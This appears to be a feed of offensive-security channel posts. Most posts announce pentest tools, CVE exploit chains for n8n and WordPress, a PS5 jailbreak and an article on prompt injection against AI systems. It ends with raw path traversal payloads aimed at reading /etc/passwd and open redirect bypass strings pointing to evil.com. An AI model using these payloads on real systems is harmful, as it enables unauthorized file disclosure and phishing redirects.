Legion — Automated Network Pentesting 🛡️

Legion is a GUI based network penetration testing framework built to automate reconnaissance, scanning, service enumeration, and vulnerability discovery

🔸 Nmap, Nikto, WhatWeb, Hydra, SMBenum

🔹 CVE & vulnerability mapping

🔸 Automated scanning & enumeration

Github 🔗

📡 @RootAccessClub

CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain 💥

Unauthenticated Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE 🌪

CVSS : 10.0 + 9.9 (Critical) ⚠️
Fixed : 1.121.0 (AFR) / 1.120.4+ (RCE) ✅


Github 🌐

🪎 @RootAccessClub

Osintgram 👥

An open source OSINT framework for Instagram reconnaissance and information gathering 🔎

Key Features:

• Profile & content analysis
• Followers / Following analysis
• Hashtag & location searches
• Media and metadata analysis
• Account comparison
• Interactive Web UI
• AI assisted mode with local Ollama support
• JSON & HTML report generation

GitHub 🔗

⚠️ Use responsibly and only with data you are authorized to investigate

💎 @RootAccessClub

WordPress Critical RCE 🚨

CVE-2026-87902 | CVSS 9.2 🫯

A critical unauthenticated path traversal vulnerability in WordPress Core can, under specific conditions, lead to Remote Code Execution (RCE) through page template resolution 💣

Affected versions span 4.7 → 7.1.1 🦠

🛡️ Fix: Update to the latest patched WordPress release for your branch

GitHub 🔗

@RootAccessClub

CVE-2026-87902 🧪

WordPress unauthenticated LFI → conditional RCE 💉

Github 📎

⚠️ Authorized security testing, education, and defensive research only

💠 @RootAccessClub

CVE-2026-87902 🪤

PoC for CVE-2026-87902 – unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab

GitHub 🔗

⚠️ Authorized security testing, education, and defensive research only

💎 @RootAccessClub

CVE-2026-87902 – Nuclei Template 🧩

Github 🌐

⚠️ Authorized security testing, education, and defensive research only

⚡️@RootAccessClub

Prompt Injection in the Wild 💉

A look at real world In Page Prompt Injection attacks, where malicious instructions are hidden inside web content and processed by AI systems

Link 🔗

@RootAccessClub

AutoPWN Suite ⚡️

An automated penetration testing framework designed to streamline reconnaissance, vulnerability discovery, and security testing ✨

• Nmap-based network & service enumeration
• CVE & vulnerability discovery
• Automated exploit searching
• Web vulnerability testing
• Directory enumeration
• Web UI + REST API
• Scan scheduling & automation
• Email / Webhook notifications
• Optional evasion techniques

GitHub 🔗

🌪 @RootAccessClub

Relapse – PS5 Jailbreak Exploit 🎮

A new exploit chain called Relapse has been released, targeting PS5 firmware versions 7.00 through 13.60 🎯

🔹 WebKit Exploit
🔹 Kernel Exploit
🔹 Execution of unofficial payloads
🔹 Support for payloads such as kstuff and etaHEN

When successfully executed, Relapse can enable a Jailbreak environment and allow execution of unofficial code and payloads on the PS5 💥

⚠️ Check your console's firmware version before attempting anything

GitHub 🔗

🪎 @RootAccessCLUB

Path Traversal Bypasses ⚡️

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

⭐️ @RootAccessClub

Open redirects filter bypass payloads 💥

---->\/evil.com
---->\/\/evil.com
---->\\evil.com
----//evil.com
---->//theirsite@evil.com
---->////evil.com
----//google%E3%80%82com
---->//%2F/evil.com
---->////evil.com
---->/%2F/yoururl.com

🪎 @RootAccessClub